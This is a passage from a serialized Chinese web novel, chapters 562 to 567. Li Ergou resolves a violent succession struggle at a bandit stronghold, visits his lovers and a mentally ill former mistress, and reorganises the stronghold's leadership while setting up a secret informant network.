费五狞笑道:“鲜儿姑娘,你不是我们山寨的人,我奉劝你还是赶紧下山吧,这里是很危险滴!弄不好你会有生命危险!” 柱子一把把鲜儿拉到自己身后。 “费五,有什么事冲我来,不要难为鲜儿,她是大哥唯一的亲妹妹,你放她走,要杀要剐,悉听尊便!” “柱子哥,我不走!” 费五彻底露出了自己的狐狸尾巴。 “不走?哈哈,鲜儿姑娘想留下来给我做压寨夫人吗?你放心,我绝不是那种小肚鸡肠之人,我是不会计较你的过去的。” 鲜儿被费五当众侮辱,羞愧的满脸通红,她手指费五,痛骂道:“费五,你卑鄙!” “卑鄙?哈哈,我卑鄙又怎么了?卑鄙是卑鄙者的通行证。” “你……你无耻!” “哈哈,我就是无耻啊,我没有否认!还有什么词都一起说出来吧,省得以后就没有机会了。” “费五!你敢动鲜儿一根毫毛,老子做鬼也不会放过你!” 柱子话音刚落,就被人一枪托砸在额头上,顿时鲜血直流。 “柱子哥!” 鲜儿一把扶住柱子,眼泪横流。 “鲜儿,你不要管我,快点下山。” “我不!” “鲜儿,你快走!” “我不走!大不了我们死在一起!” 第562章 李二狗一出手,就知有没有 “你们还真他娘的矫情!”费五终于看不下去了,“把我们这些人都当屁吗?现在不是她想不想走的问题,而是我让不让她走的问题,这里我说了算!” 柱子本想再次痛骂费五一顿,但为了鲜儿,他忍住了。 他哀求道:“军师,大哥生前对你一直不薄,你怎么忍心伤害他的亲妹妹?我求求你,就让她走吧!” “你求我啊?”费五一副小人得志的模样,“求人可不是这种求法!” “你想怎么样?” “给我磕三个响头,再叫我一声爷爷,说不定我一高兴就放了她,哈哈!” “你……” 柱子把后槽牙都咬碎了,可为了鲜儿,他别无选择! 柱子“扑通”一声跪在费五面前,拳头攥的“啪啪”作响。 “柱子哥,你不能给他跪下!” 鲜儿伸手去拉柱子,可柱子已经“哐哐哐”磕了三个响头。 “叫爷啊!” “对啊,叫爷啊!” “你倒是叫啊!” 柱子从未受过如此奇耻大辱,可为了鲜儿,他别无选择! “爷!” “哎,哈哈哈……” “哈哈哈……” 众人笑作一团。 “军师,请你放了她!” 鲜儿早已泪流满面,她没想到柱子对她如此一往情深。 “柱子哥,我不走!” “鲜儿,听话,你快走!” “我不!” “我求求你,你快走!” “我不!” 费五再次被他们激怒了。 “都他娘在住嘴!既然不想走,那就留下,爷正好缺个压寨夫人,哈哈!” “费五,你……你这样做对得起死去的大哥吗?” 费五淫笑道:“就因为对得起大哥,所以我才愿意娶他妹子,不然谁愿意娶这种破烂货?” “老子和你拼了!” 柱子刚挣扎着想站起来,额头上再次被砸了一枪托,他再次倒在地上。 他的倔脾气上来了,他挣扎着准备再次站起来,却被费五一脚踩在后背上。 “老子最恨的就是你这样的犟种!有种你再站起来试试?” 柱子用尽全身力气,想从地上爬起来。 他刚弓起一点身子,就被费五再次狠狠地踩下去。 如此反复了几次,柱子终于趴在地上不动了。 费五看着脚下的柱子,开心地笑了,他终于出了这些年积压在心底的怨气。 “柱子啊柱子,没想到你小子也有今天!哈哈……” “柱子哥,你怎么样?” 哭得梨花带雨的鲜儿让费五眼前一亮。 这个女人实在是太娇嫩了,以前他都不敢正面瞧她,现在终于有机会了。 “鲜儿,只要你答应嫁给我,吃香的喝辣的,我肯定不会亏待你。” 鲜儿痛骂道:“你……你无耻!我就是死也不会嫁给你的!” “好啊,那你就去死吧!”费五把一把匕首扔到鲜儿脚下,“就用这把刀!我倒要看看你的身体里到底有多少血!” 鲜儿瞥了一眼地上的匕首,刀身在灯光的照射下,发出刺眼的光芒。 这时,柱子缓过了一口气,他伸手拉了拉鲜儿。 “鲜儿,你……你不能死!” 他努力抬起头,用哀求的声音说道:“军师,念在咱们多年的情分上,你就放鲜儿走吧,寨主之位,我……我不和你争了。” 费五这个人不仅心狠手辣,而且心理极其变态。 “好吧,那就念在咱们多年的情分上,我放你们一马。” “谢谢军师……” “你先别着急,我话还没说完,我只能放你们其中的一个人。刀在地上,你们自己选择吧!” 柱子一愣,毫不犹豫地说道:“放鲜儿走!” 他边说边捡起地上的匕首,却被鲜儿死死地抱住。 “柱子哥,你不能死!还是让我去死吧!” 被双方遗忘多时的李二狗瞅准时机,突然出现在费五身后,枪已经顶在他的后脑勺上。 “都不许动!” 李二狗的突然出现,让大家一惊,他们竟完全忘记了这个外人的存在。 费五吓得双腿直抖,果然是个夯货。 “李……李二狗,你想做什么?这是我们清风寨自己的家事,请你不要插手!” “废物,冲锋陷阵的时候你他娘的跑得比谁都快,如今抢夺寨主之位却比谁都积极,你还要你这张死脸吗?” “你……你一个外人,不要插手我们清风寨的事,你马上放了我,我可以让你安全下山,否则……,我们这么多人,你一把枪里能有几颗子弹?” 李二狗看了看众人,他们的枪口全部对准了自己。 “你说的没错,我枪里确实只有八颗子弹,但只要有一颗留给你就足够了!” “李……二狗,你要敢开枪,他们马上把你打成一顿烂泥。” “在他们把我打成烂泥之前,我会让你的脑袋先开花!” “你……你不敢开枪!” 李二狗微微一笑,“砰”的一声,打在费五的大腿上,费五杀猪般嚎叫起来。 “都把枪放下!不然我立马杀了他!” 费五终于害怕了,他没见过像李二狗如此不讲道理的人。 “快把枪放下!你们想害死老子吗?” 土匪们面面相觑,一些人已经把枪口朝下,准备把枪扔到地上。 正在这时,“四梁八柱”中的“顶天梁”张子龙突然大叫一声道:“大家都别把枪放下!” “张子龙!你要做什么?你想害死老子吗?” 张子龙内心是十分鄙视费五的,这次和他结盟也是迫不得已。 这次费五被李二狗挟持,他看到了机遇。 不想当寨主的土匪绝对不是合格的“四梁八柱”! “军师,你不能为了自己活命,就置我们兄弟的性命于不顾吧?我告诉大家,如果今天我们放了柱子一伙,他们以后会放过我们吗?” 一语惊醒梦中人,大家纷纷把枪口对准了李二狗和费五。 “张子龙,你……” “我什么?” 张子龙话音未落,突然抬枪射向李二狗,被李二狗用费五的身体挡住了。 “大家快……” 张子龙话未说完,李二狗已经一枪打在他的脑门上,当场毙命! 就在大家愣神的瞬间,李二狗又是“砰砰”两枪,剩下的两个“四梁八柱”也登时送了性命。 “爷爷饶命!” 土匪喽啰们把枪扔在地上,跪成一片。 第563章 鲜儿的质问 “二狗兄弟,谢谢你,你又救了我们一命!” 柱子艰难地从地上爬起来,看着地上费五等人的尸体,他知道,清风寨寨主之位,从此再也没有人敢和他争了。 李二狗保持着惯有的平淡笑容。 “柱子兄弟,举手之劳,何足挂齿!我们是兄弟嘛!这都是我应该做的。” 这时候,栓子也苏醒过来,看着地上横七竖八的尸体,他仿佛明白了什么。 “哥,你没事吧?” “我没事,这次多亏了二狗兄弟,不然咱们兄弟今天就撂在这了。” “狗日的费五,真是死有余辜!”栓子揉了揉有些发胀的脑袋,痛骂道:“还有你们这些助纣为虐的小人,都该死!” “二当家的,三当家的,饶命啊,我们都是被军师的花言巧语迷惑了,请你们饶了我们这条狗命吧。” 跪在地上的众土匪不停地磕头,祈求柱子饶了他们的性命。 对于这些小喽啰来说,他们上山本来就是为了混口饭吃,有奶便是娘,都是一些惯于见风使舵、见利忘义之徒。 但此次参与的人数众多,柱子没有办法惩处所有人。 “你们这些人有眼无珠、是非不分、为虎作伥、助纣为虐,本该每人重打三十军棍再赶下山去,念你们是初犯,我就饶你们这一次,再有下次决不轻饶。” “谢谢二当家,谢谢二当家。” “哥,你就这样饶了他们?” “栓子,这些事待会儿再说,”他转头对跪在地上的土匪命令道:“你们赶紧把这些人的尸体抬下去。” 众人慌忙起身,把费五和“四梁八柱”的尸体都抬了出去。 鲜儿站在原地,一直沉默不语。 李二狗走近她,轻声问道:“鲜儿,你没事吧?” 鲜儿两只眼睛冷冷地看着李二狗,仿佛不认识他一般。 她质问道:“你刚才为什么不早点出手?非得等我们受尽侮辱之后再出手,你到底是何居心?看我们笑话吗?让我们对你感恩戴德?” 鲜儿一句话把李二狗问懵了。 他刚才躲在角落里,一直在寻找合适的出手时机,当时他只想着一招制敌,完全没有考虑那么多。 “鲜儿,你听我解释。” “这还有什么可解释的?我是不会对你感恩戴德的!” 柱子忙劝道:“鲜儿,你不能和二狗兄弟这样说话!是他救了我们,二狗兄弟之所以这样做,肯定有他的道理,对方人太多了,二狗兄弟不得不谨慎一些。” “呵,谨慎?他未免太谨慎了吧?如果换作我,我肯定不能像他如此淡定地看着这一切发生!” 鲜儿甩下一句话就径直走出了聚义堂。 柱子没想到鲜儿会对李二狗如此愤怒。 “鲜儿!” “柱子兄弟,还是让她冷静冷静吧,也许确实是我做的欠妥。” “二狗兄弟,你千万别这样说,今天要不是你,此刻被他们抬出去的尸体就是我们了,我知道你做事有自己的判断!” 李二狗快速回想了一下刚才的情形。 如果换作是李素文或者静雯,他还能如此淡定地出手吗? 他应该不能! 归根到底,他还是只把鲜儿当作一个朋友,而不是自己所爱之人。 终究是自己对不起鲜儿。 “柱子兄弟,恭喜你成为清风寨大当家的。” 柱子叹息一声道:“哎,只可惜镇东北大哥死的太突然了,我这心里还一时接受不了。” “是啊,不过人死不能复生,希望你继承大哥的遗志,把清风寨建设的更好更强大,相信大哥九泉之下也能瞑目了。” “二狗兄弟,我有个不情之请,不知道当说不当说。” “咱们是兄弟,但说无妨。” “你是我最佩服的人,如果你能留下来,我愿意把寨主之位让予你。” 李二狗道:“柱子兄弟,我在关内有自己的家业,实在无法留在关外,相信清风寨在你的带领下,一定可以进一步发展壮大。” “二狗兄弟,我是真心的,咱们兄弟联手,肯定可以干一番大事业。” “我也很想和你们一起干一番事业,但实在是身不由己啊。柱子兄弟,栓子兄弟,我今天就要告辞回关内了。” “二狗兄弟,怎么这么着急?还是再多住几日吧?我还有好多事情想向你请教。” 刚才鲜儿对李二狗的那种态度,那种眼神,他知道自己不能再留下了。 “以后药材的事还免不了麻烦你们,咱们兄弟来日方长。” 柱子是个粗中有细的人,他犹豫了一下,还是说道:“二狗兄弟,你千万别和鲜儿一般见识,大哥刚去世不久,她一时还接受不了,所以说话有些反常,她不是真的埋怨你。” “我知道,”李二狗救了人还被埋怨,其实内心是不舒服的,“柱子兄弟,我知道你对鲜儿的情义,她应该有个好的归宿。” “我知道,只不过她……哎,不说这些了,二狗兄弟,我们去喝酒吧,给你送行!” 李二狗此时根本没有喝酒的兴致。 “大哥刚去世,实在不宜在此时饮酒,下次吧,我这就下山,咱们青山常在,绿水长流,后会有期。” 李二狗离开,柱子心中既有不舍,也有几分庆幸。 “那我就不挽留你了,我送你下山。” “你身上有伤不方便,我自己下山就好,告辞!” 柱子和栓子还是坚持把李二狗送到寨门口。 “二狗兄弟,保重!” “两位兄弟,保重!” 正在这时,鲜儿跑了过来。 “等一下!” 李二狗内心盼望着鲜儿出现,又害怕她出现。 “鲜儿,对不起!” “不要说对不起,有些事说了对不起又有什么用?这一切都是命中注定!” “我要走了,你好好的。” 鲜儿神情凝重,她把手里的一个包袱放到李二狗手中。 “这是我准备的一些干粮,你留在路上吃,路上注意安全!” “谢谢你,鲜儿。”李二狗接过包袱,拿到手里感觉无比地沉重。 他在鲜儿的眼神里再也看不到往日的色彩,对于鲜儿来讲,这是她的幸运! 第564章 张玲玉是谁? 时隔多日,李二狗终于回到了省城。 见到静雯,两人顾不上交谈,直接到卧室进行了一番深入浅出的交流。 “去了这么久,憋坏了吧?你刚才的动作真的好粗鲁!” “那你喜欢吗?” “你坏死了,人家当然喜欢啦。” 两人又忍不住在床上嬉闹了一会儿,李二狗这才想起来正事。 “静雯,药丸的生产顺利吗?” 静雯笑道:“我还以为你忘了呢,嘻嘻。非常顺利,你安排人从东北运回来药材之后,我就安排药厂日夜不停地生产,第一批生产的药丸已经按照你给我提供的地址给松上商社发了货,想来这时候应该已经在日本市场上市了。” “这一上市,那些猥琐的日本男人都应该感谢你,哈哈。” “臭贫,告诉你,上批药材快用完了,还得尽快从关外再进一批。” “放心吧,我已安排好了,最迟三日,下一批药材就会到货。” 本来李二狗有一个更加刺激的计划。 他计划从东北采购一批淫羊藿,然后投入关内市场,以酒井空的性格,肯定会继续高价吃进,李二狗可以趁机大赚一笔。 最后他还是放弃了,他不想对酒井空赶尽杀绝,毕竟有往日的情分在。 药丸在日本市场上市之后,酒井空很快就会得到消息,到时候,井伊商社高价囤积的大批淫羊藿就会被迫流入市场。 到时候井伊商社肯定会血本无归。 李二狗很为酒井空担心,她一个人根本承担不了这么大的责任。 “二狗,你想什么呢?” “好久没有干爹的消息了,也不知道他最近怎么样了?” “前两天我给上海打过电话,他们说干爹还在香港出差没有回来。” “干爹这次去香港怎么这么久?上次我去上海,他就已经去香港出差了。” “干爹是干大事的人,可能有重要事情需要处理吧。” 李二狗总有一种不祥的预感,他希望这只是他的错觉。 “等过段日子,我还得去趟上海看看干爹。” “我和你一起去。” 张玲玉一直在省城医院住院,李二狗来到医院看望她。 惜春刚走出病房,便看到李二狗走来,她如同见到亲人一般兴奋。 “狗哥,你来了。” 自从上次一别,她一直对李二狗念念不忘,常常在梦里梦到李二狗,有几次还梦到自己和李二狗做一些不可描述之事。 “惜春,你比上次更漂亮了。” 李二狗随口一句话却令惜春羞红了脸颊。 “真的吗?狗哥,你可不许骗我哦。” “我没骗你,你真的漂亮了很多。” 惜春这些日子在省城长了不少见识,确实比在胡家大院时更有女人的韵味。 “嘻嘻,谢谢狗哥夸奖。” “二奶奶最近怎么样?病情有好转吗?” “还是那样,不过有时候她会在梦里喊你的名字。” “喊我的名字?”李二狗有些吃惊,“除了喊我的名字,还说别的了吗?” “有时候还喊少爷的名字,她经常在睡梦中哭醒,二奶奶实在是太可怜了。” 惜春抹起了眼泪,这段时间,她已经和张玲玉处出了一定的感情。 “我进去看看她。” 两人进入病房,张玲玉正坐在床边玩弄一个毛绒玩具。 听到有人进来,她抬头看了看,向李二狗笑了笑,然后继续低头玩弄毛绒玩具。 “这是我给她买的,她爱不释手,睡觉都要抱着睡。” 李二狗知道,张玲玉是把这个毛绒玩具当成了胡福。 “惜春,这段日子辛苦你了,再坚持一段日子,如果病情还是没有好转,我就把她接回胡家大院。” 张玲玉住院,有医生护士照料,惜春平时并没有多少事做,她很喜欢这种日子,比在胡家大院自由自在的多。 关键是她喜欢省城的繁华,没事的时候她经常到大街上闲逛,她内心十分羡慕那些穿戴时髦的女人。 李二狗掏出五百块钱,交给惜春,惜春并没有接。 “狗哥,你上次给的钱还没花完。” “拿着吧,给自己买几身衣服,这段日子你辛苦了。” 惜春喜极而泣,她没想到李二狗堂堂胡家大院的管家竟对自己这样一个无足轻重的丫鬟如此关爱。 “狗哥,这都是我应该做的,你不需要额外给我钱。” “狗哥给的你就拿着,平时也不用省吃俭用,有事情就去找郑院长,我都和他交代过了。” “谢谢狗哥。” 惜春接过钱,攥在手心里,对李二狗的喜爱更加浓郁。 “惜春,你先去忙吧,我陪二奶奶说会话。” 惜春点点头,离开了病房。 她早就听说李二狗和张玲玉有特殊关系,如今张玲玉变成这副模样,李二狗还不忘旧情,他真是一个深情的好男人。 自己如果能嫁个这样的男人,哪怕只是做他的姨太太,也是三生有幸。 惜春走后,李二狗搬来一个凳子,坐在张玲玉对面。 张玲玉抬头看了看李二狗,照例给了他一个笑容。 “你喜欢玩吗?这个可好玩了。” 李二狗一阵心酸,眼泪在眼眶里打转。 “我不玩,还是你玩吧。” “嘿嘿,咱们一起玩吧,我教你怎么玩。” 李二狗转过身,擦掉眼角的泪水。 “好啊,我们一起玩。” 平常不让外人靠近的张玲玉,对李二狗却毫无戒备之心。 “你叫什么名字?” “我叫李二狗。” “李二狗?嘻嘻,真好听,你知道我叫什么名字吗?” “你叫张玲玉。” “张玲玉是谁?” “张玲玉是一个美丽善良的女人。” “奥,那我就叫张玲玉吧,你看我美吗?” “你美,非常美。” “嘻嘻,”张玲玉开心地笑了,“你见过我的儿子吗?” 李二狗心里一阵隐痛。 “我儿子可乖了,你见过他吗?他走丢了,呜呜……你帮我找到他好吗?” “好,我一定帮你把你儿子找到。” “嘻嘻,你真好。” 李二狗实在受不了这种钝刀子剜心的痛楚。 “好了,你自己玩吧,我去帮你找儿子。” 李二狗起身离开了病房。 “谢谢你!我能见到我儿子喽,好开心!” 第565章 李二狗的花式烦恼 李二狗在离开医院之后,又去看望了春花和牛犊子。 对于春花和牛犊子,李二狗的情感是非常复杂的。 当年春花通过不正当手段借种,生下牛犊子。 李二狗虽没有怨言,但毕竟她是牛旺财的媳妇,从某种意义上来讲,春花是他大嫂。 现在牛旺财已死,春花成为寡妇,李二狗内心是不想和她发生情感纠葛的。 奈何牛犊子是他亲生儿子,李二狗根本无法割舍父子亲情。 每次见牛犊子,就得见春花,久而久之,想不发生点什么关系都难。 毕竟春花是李二狗的启蒙老师,李二狗对她有一种难以言喻的情感。 就像抽大烟一样,明知道不好,但就是难以控制。 在处理女人问题上的优柔寡断是李二狗的软肋。 如今春花和牛犊子生活在省城,李二狗不仅给她们置办了大房子,还雇了一个老妈子伺候她们母子二人。 春花日子过得相当滋润。 不仅穿衣打扮越来越有城里人的样子,就连身材和脸蛋也越来越出众。 这一切都是李二狗赋予的,春花更加依赖他。 李二狗每隔一段日子就会去看望她们母子,除了送钱之外,还要满足一下春花日渐增长的欲望。 “二狗,如今牛犊子越来越大了,我想还是让他改随你的姓吧?” 每次春花提到这个问题,李二狗总会想到牛旺财。 作为儿时的伙伴,李二狗不忍心让死去的牛旺财绝后。 说来也奇怪,当初李二狗刚进胡家大院的时候,很快就让于兰芝和李素文怀上了自己的孩子。 于兰芝为他生下一个女儿。 李素文因为意外流产,从此失去生育能力。 可自打从那之后,李二狗又和多个女人发生关系,可却再也没有一个女人为他怀上孩子。 牛犊子作为李二狗唯一的儿子,李二狗当然渴望他改姓李,可…… “还是再等等吧,这事不能急。” 李二狗每次都会这么说。 “那我再为你生个儿子吧。” 春花确实想为李二狗再生个一儿半女,为此他们也曾积极努力过,但春花的肚子却一直没有动静。 不知道是因为土地不够肥沃,还是种子出现了问题。 想到要生个儿子,李二狗又把春花压在身下…… 忙活完省城的事情之后,李二狗开车回到江东。 他没有去清风寨,而是直接回到胡家大院,他想梦瑶了。 难怪女人都愿意为男人生孩子,有了孩子便有了家,便有了牵挂,哪怕出门的男人走的再远,心里也会挂念着家里的孩子。 小别胜新婚,李二狗和于兰芝免不了又是一番没白没黑的激战。 等到李二狗上清风寨的时候,已经感到两膝酸软。 可面对李素文那渴望的目光,李二狗只好偷偷吞服了两颗一夜八次丸,这才算把李素文勉强应付过去。 和李素文颠龙倒凤一番之后,李二狗马上找到望冬,两个人关起门来密谈,不允许任何人打扰。 一个时辰之后,望冬才满面红光地从房间里出来,兴奋之情溢于言表。 清风寨议事厅。 李二狗首先听取了各个山寨垦荒和训练的情况汇报,不出所料,青山寨各项工作都明显落后于其他两个山寨。 李二狗对陈嘎子和张石头的不满已经有些掩饰不住。 集团在发展,山寨在壮大,可陈嘎子和张石头却还是停留在小富即安、不思进取的状态。 仗着自己集团元老的身份尸位素餐,能力早已跟不上集团发展的需要,职务调整势在必行。 可怎么对待这些元老,关乎人心向背,李二狗不得不谨慎处理。 “刚才听了大家的汇报,我有两个没想到。” 大家早已从李二狗的表情中猜测到他对刚才汇报不是十分满意,大家纷纷低着头,不敢与他对视。 “第一个没想到,短短一个月的时间不到,三个山寨之间的差距竟可以拉到如此之大,这一点我完全没有想到,我深感震惊!” 陈嘎子和张石头就是再傻,此时也能听出李二狗是在批评青山寨。 他们虽然感到有些不好意思,但也只是感到不好意思。 作为清风寨初创时期就跟随李二狗上山的元老,他们知道,即使自己工作干得再不好,李二狗也不会把他们撤职。 他们的反应都被李二狗看在眼里。 李二狗更加坚定了会前的决心。 “第二个没想到,有些山寨明明工作落后,却依然一副不以为然的态度,这令我更加震惊。” 陈嘎子和张石头难以置信地抬头对视一眼,接着又低下了头。 他们万万没有想到,李二狗会把话讲的如此的直白,如此的不留情面。 大家的目光齐刷刷地看向他们两人,陈老三脸上的笑意更是掩饰不住。 他也有想偷懒应付的时候,但每次都是望冬耳提面命,他才不得不重新打起精神。 古人说的没错,每一个成功的男人背后都有一个伟大的女人。 他庆幸自己娶了一个好女人。 李二狗继续说道:“一个人的能力有大小,这不是一朝一夕能够改变的,但能力不够,再不用态度来凑,那就等于自暴自弃了!” “如果你只是咱们集团的普通一员,你自暴自弃不打紧,因为你影响的只是你自己,但在集团关键岗位上自暴自弃,这是绝不允许,不能因为你一个人而影响整个集团的健康发展,这是对全集团兄弟们的不负责任!” 话说到这个份上,李二狗的措辞已经非常严重了。 李二狗希望陈嘎子和张石头此时能够主动站出来承认错误,李二狗看在往日的情分上,还可以高抬贵手,给他们一个改过自新的机会。 可陈嘎子和张石头却毫无表示。 既然李二狗没有指名道姓,那他们就决定装傻到底,他们就不信李二狗会撤了他们寨主的职务。 他们还是小看了李二狗。 “望冬,你来宣读一下集团的任免决定。” 李二狗话音未落,大家顿时惊呆了! 第566章 任免决定 按照清风集团寨务会会议议事程序规定,凡是涉及集团的重大人事任免必须在寨务会上研究通过之后才能施行。 可这次人事任免决定根本没有经过集团寨务会研究,现在竟然就要在会上宣读了。 李二狗这是明目张胆地在搞一言堂。 可他搞一言堂,根本没人敢提反对意见。 李二狗点名让望冬来宣读这份任免决定,很明显,望冬事先肯定已经知道了这份任免决定的内容。 或者说,这份任免决定就是李二狗和望冬两人商议之后做出的决定。 李二狗之前离开清风寨这么长时间,他对集团的情况肯定无法做到全面了解,他只能通过望冬来了解相关情况。 望冬对李二狗说什么,不说什么,怎么说,都由她自己决定。 她的意见在很大程度上影响着李二狗做出的决定。 由此可见,望冬是李二狗绝对信任之人。 她在清风集团,俨然已是一人之下,万人之上的存在。 陈老三不满地看了一眼望冬,这么重大的人事决定她竟然没有事先告诉自己,她到底还拿不拿自己当她男人?! 望冬根本没有搭理陈老三,她从容从桌上的皮包里掏出一张纸,刻意咳嗽两声,清了清嗓子。 “因清风集团战略发展需要,经研究,决定对集团及各农场人员工作岗位做如下调整:” “李二狗,清风集团寨务会董事长。” “秀才,清风集团寨务会副董事长、清风集团总经理兼霸虎农场总经理。” “陈老三,清风集团寨务会副董事长兼清风农场总经理。” “望冬,清风集团寨务会副董事长兼财务部总经理。” “陈嘎子,清风集团寨务会成员。” “张石头,清风集团寨务会成员。” “孙连胜,清风集团青山农场总经理。” “张廉捷,清风集团寨务会成员、青山农场副总经理。” “王朝,清风集团黑木崖农场总经理。” “马汉,清风集团寨务会成员、黑木崖农场副总经理。” “张龙,清风集团三龙山农场总经理。” “赵虎,清风集团寨务会成员、清风集团三龙山农场副总经理。” “本决定即刻生效,此次调整人员的原任职务一律免除,不再另行通知。” 听完任免决定,几家欢乐几家愁。 秀才因为在关外对李二狗表现出的绝对忠心和出色的工作能力,获得李二狗的极大信任。 此次被任命为集团二把手,集寨务会副董事长、集团总经理和霸虎农场总经理三个职务于一身。 对李二狗的这个安排,秀才表现出来的惊讶程度丝毫不亚于陈嘎子和张石头。 他完全没有想到,李二狗会把他安排在陈老三和望冬前面。 其实秀才预想的没错,本来这个位置确实应该是陈老三的。 多年来,陈老三也一直以二把手自居,但他的能力已不能满足集团高速发展的需要,此次调整势在必行。 但陈老三是李二狗最亲近也是最忠诚的兄弟,这样的人即使工作能力平平,也一定要委以重任。 李二狗要让大家明白一个道理,只要忠心耿耿地跟随自己左右,他就绝对不会亏待你。 所以李二狗把陈老三放在了三把手的位置上。 以李二狗对望冬的信任程度和良好的私人关系,望冬本可位居二把手的位置。 李二狗最后权衡再三,还是把她放在了四把手的位置上。 一来是她的工作能力有限,承担不了集团总经理的重任,李二狗需要一个自己不在集团的时候能挑起大梁的人,秀才无疑是最佳人选。 二来他不想让其他人误会自己和望冬的关系,如果她的位置太过显赫,反而会带来不必要的流言蜚语,同时还会损害他和陈老三的关系。 所以,李二狗把望冬放在四把手的位置上,但是把集团的财政大权交给她负责。 陈老三和望冬虽然排在第三和第四的位置上,但夫妻二人联手,权力又在秀才之上。 陈老三虽然嫉妒秀才的总经理位子,对此也无话可说,毕竟望冬刚刚加入寨务会不久,目前的位置已经足够靠前。 最失落的当属陈嘎子和张石头,二人虽然保留了寨务会成员的位子,貌似还留在集团决策层之中,但却被免去了青山农场经理职务,等于失去了具体权力。 因为集团寨务会完全由李二狗说了算,所以寨务会成员的权力并不大。 他们在集团的地位虽然变化不大,但权力却变小了,收入更是锐减。 李二狗保留了他们的体面,维护了他们作为山寨元老的尊严,但却没收了他们手中的权力。这等于是在变相的敲打他们,至于今后还会不会用他们,怎么用,完全取决于他们后续的表现以及对李二狗的忠心。 青山农场、黑木崖农场和三龙山农场各自安排了一个总经理和一个副总经理,貌似总经理的权力要大一些,但总经理不是寨务会成员,而副总经理却进入寨务会,成为集团最高决策机构的成员。 总经理负责训练打仗,副总经理负责后勤保障,李二狗之所以如此安排,就是为了让他们分工明确的同时又相互制衡,谁也无法一家独大。 而清风农场和霸虎农场却只安排总经理,没有安排副总经理,总经理之职由陈老三和秀才兼任。 李二狗这种安排是刻意把这两个农场和青山农场、黑木崖农场和三龙山农场三个农场区分开来。 这就等于告诉集团众人,秀才和陈老三是集团核心,其他三个农场的领导层还无法和他们二人相提并论。 望冬宣读完任免决定之后,李二狗环视一圈众人,刻意提高声调问道:“大家还有什么意见吗?” 已经宣读完决定,再询问大家的意见,只要不是傻子,不会有人站出来提意见。 陈嘎子和张石头虽对这个决定十分不满,但也不敢表露丝毫。 “所有人员明天上午八点之前务必到位,散会。” 第567章 李二狗的秘密武器 散会之后,众人神态各异地离开,李二狗则坐在议事厅正中央的那把椅子上没有走。 “望冬,走啊。”陈老三看望冬坐在椅子上不动,忍不住出言催促道。 “你先走,我找狗哥还有点事汇报。” 陈老三瞥了李二狗一眼,发现李二狗端坐在椅子上,面无表情,正在闭目养神。 “啥事啊?你还得单独和狗哥说。” 看陈老三也坐着不走,望冬生气了。 “啥事非得告诉你吗?”望冬狠狠地瞪了他一眼,然后低声说道:“我有账目上的一些事要和狗哥单独说,你先回家。” 陈老三现在最怕的人除了李二狗就是望冬,他虽不情愿,但还是起身离开了,出门时还不忘回头多看了一眼,眼里写满了疑惑。 望冬见人都走后,才起身走到离李二狗最近的一把椅子上坐下。 “狗哥,他们都走了。” 李二狗这才缓缓睁开眼,伸手揉了揉太阳穴。 “望冬,你说我对嘎子和石头他们是不是太严厉了一些?” “狗哥,你能把他们留在寨务会已经算是网开一面了,要是换作我,早打一顿撵下山了,他们偷偷做的那些事,早就该给他们一些惩罚了。” 近段时间以来,陈嘎子和张石头早已把青山农场当成了他们个人权力的自留地,不好好开展垦荒和训练不说,平时在农场里颐指气使、作威作福,看谁不顺眼就是一顿军棍,还安排专人伺候他们的饮食起居。 同时通过虚报账目、克扣粮饷的方式中饱私囊。 最可气的是他们还打着找媳妇的名义偷偷在山下抢了两个年轻的女子上山供自己淫乐。 李二狗上次在寨务会上狠狠地批评了享乐主义和奢靡主义的倾向,本以为只有秀才做得不妥,却没想到和陈嘎子和张石头比起来,完全是小巫见大巫! 但李二狗用人有一个原则,你的能力可以差一些,毛病也可以多一些,这些都不要紧,关键是你要对他绝对忠诚,他都会量才使用。 对于陈嘎子和张石头,李二狗还是不忍赶尽杀绝! “毕竟都是自家兄弟,还是给他们一个改过自新的机会吧,希望他们能借着这个机会反思自身存在的问题。” “狗哥,你对他们实在是太好了,可他们不一定领情啊。” 李二狗很认可望冬的话,斗米恩,升米仇,这是人性使然。 好在李二狗是拿捏人性的高手,他早已做好了多手准备。 “望冬,这几天你让他们多注意一下嘎子等几人的动向,有什么情况及时向我汇报,一定要注意保密。” “放心吧,狗哥,我心里有数。” 原来前段时间,李二狗悄悄安排望冬在集团中精心挑选了几个精明能干、武艺高强而又忠诚可靠的人,秘密成立了集团“粘杆处”。 挑选完合适的人员之后,又把这些人集中起来加以思想教育,之后才把他们分配到集团各个要害部门和五个农场之中,暗中收集情报信息,直接向望冬汇报。 李二狗之所以这样做,就是为了全面掌握整个集团特别是集团高层的动向。 “望冬,一定要注意保密,这些人除了你我之外,不要再告诉任何人。” “明白,狗哥,老三我也不给说。” 李二狗满意地点了点头。 “还有,把这些人每个月的补贴再增加五块大洋。” 李二狗从底层摸爬滚打,一路走到今天,他最明白,对于手下之人,不能只要求他们对你忠心,更为重要的是你要让他们得到实实在在的好处,让他深陷其中无法自拔的好处,这样他们才会死心塌地地跟随你左右,任你差遣。 只用理想主义鼓舞士气,一次两次可以,但时间一长,就会出现各种问题,长久不了。 作为领导,最为重要的是要给手下人真真切切的利益。 望冬有些不理解地问道:“狗哥,每个月给他们五块大洋已经不少了,还要再增加一倍?这是不是有点多了?” 李二狗笑道:“多吗?呵呵,这还不止呢!你告诉他们,让他们好好干,谁干的好,年底咱们还会给他们再发奖金。” 望冬好像不明白李二狗的意思,却又好像有点明白他的意思。 不过这些都不影响她去执行李二狗的决定。 因为在她的认知里,不管自己明不明白,李二狗的决定都是没有错的!她一定会无条件执行! “狗哥,我明白了,那我先走了。”望冬刚走没几步,又回头问道:“你不走吗?” 李二狗神秘一笑。 “我再等等,你先去吧。” 望冬不明白李二狗为何不走,她很想和李二狗再多待一会儿,但她也知道,陈老三一定在门外不远的地方在等着她。 出了门,果然看见陈老三正在不远处的一棵大树底下抽烟,很显然,他在等望冬。 看到望冬出来,他赶忙扔掉烟头,迎了上去。 “你和狗哥说什么了?怎么这么久?” 望冬内心很不喜欢像陈老三这样牛皮糖似的男人,有事没事就黏在女人身边,根本没有男子汉的气概。 不像李二狗,他那种若即若离的感觉,总是能让她感受到某种不可言喻的酥麻感。 “不该问的少问。” 望冬没有停留,丢下一句话就往前走去,陈老三赶紧跟了上去。 看到望冬和陈老三远去的背影,一直躲在暗处的陈嘎子和张石头这才走了出来。 张石头心里好像揣着一块大石头,一副心事重重的样子。 “嘎子哥,这样能行吗?是不是再考虑考虑?咱们可别弄巧成拙了?” 陈嘎子心里也没底,但他不愿意就这样任人宰割。 